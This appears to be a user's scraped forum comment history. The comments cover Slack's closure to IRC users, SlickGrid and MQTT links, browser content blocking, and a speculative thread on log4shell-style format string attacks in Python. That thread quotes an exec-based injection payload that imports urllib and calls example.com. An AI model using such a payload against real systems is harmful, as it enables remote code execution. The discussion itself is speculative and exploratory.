oneweekwonder
Joined 15 years ago
Joined 15 years ago
It was a way to onboard tech people and once they were big enough they closed the door for those audience.
Which really hurt me because i live in a country with a small tech community and was happily interacting with them using irc, until slack changed into a walled garden.
[0]: https://github.com/6pac/SlickGrid/wiki/Examples
[1]: http://6pac.github.io/SlickGrid/examples/example-spreadsheet...
[0]: https://www.eclipse.org/paho/index.php?page=clients/js/index...
Not sure if it is true or just sysadmin lore but was interesting enough to learn about a alternative.
> After discussing this with several content blocking extension developers, we have decided to implement DNR and continue maintaining support for blocking webRequest
I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).
So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.
While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.
And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.
I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.
As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.
[0]: https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/
So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.